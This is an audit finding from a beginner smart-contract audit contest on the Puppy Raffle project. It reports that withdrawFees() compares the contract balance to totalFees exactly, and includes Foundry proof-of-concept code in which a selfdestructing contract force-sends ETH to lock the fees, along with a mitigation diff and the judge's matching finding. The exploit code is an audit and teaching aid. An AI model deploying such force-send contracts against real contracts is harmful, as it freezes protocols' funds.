Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

withdrawFees() balance-equality check lets anyone permanently lock the protocol fees with 1 wei

niosoke

Root + Impact

withdrawFees() requires the contract balance to be EXACTLY equal to totalFees. Anyone can force-send ETH into the contract (for example with selfdestruct, which bypasses any receive/fallback logic) and make the balance permanently greater than totalFees. From that moment withdrawFees() can never succeed again and all accumulated protocol fees are locked in the contract forever, because the contract has no other way to move ETH out.

Description

function withdrawFees() external {
// @> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

The equality check is meant to block withdrawals while players are active, but it also makes the function hostage to any unsolicited ETH. Force-feeding is unstoppable: a 1-wei selfdestruct into the raffle address is enough, it costs the attacker essentially nothing, and there is no recovery path.

Risk

Likelihood: High - the attack is a single cheap transaction anyone can send at any time, including right before every withdrawal attempt.
Impact: Medium - no user funds are stolen directly, but the protocol's fee revenue is permanently frozen; with recurring raffles the locked amount keeps growing.

Proof of Concept

Verified with Foundry (test passes): after a completed raffle, address(this).balance == totalFees. A contract then self-destructs 1 wei into the raffle, and withdrawFees() reverts from then on.

contract ForceSend {
function boom(address target) public payable {
selfdestruct(payable(target));
}
}
​
// after selectWinner():
// assertEq(address(puppyRaffle).balance, uint256(puppyRaffle.totalFees()));
// fs.boom{value: 1}(address(puppyRaffle));
// vm.expectRevert("PuppyRaffle: There are currently players active!");
// puppyRaffle.withdrawFees();

Recommended Mitigation

Do not tie fee withdrawal to the raw contract balance. Track the prize obligations separately, or withdraw only when no raffle is active and allow the balance to be greater than totalFees:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!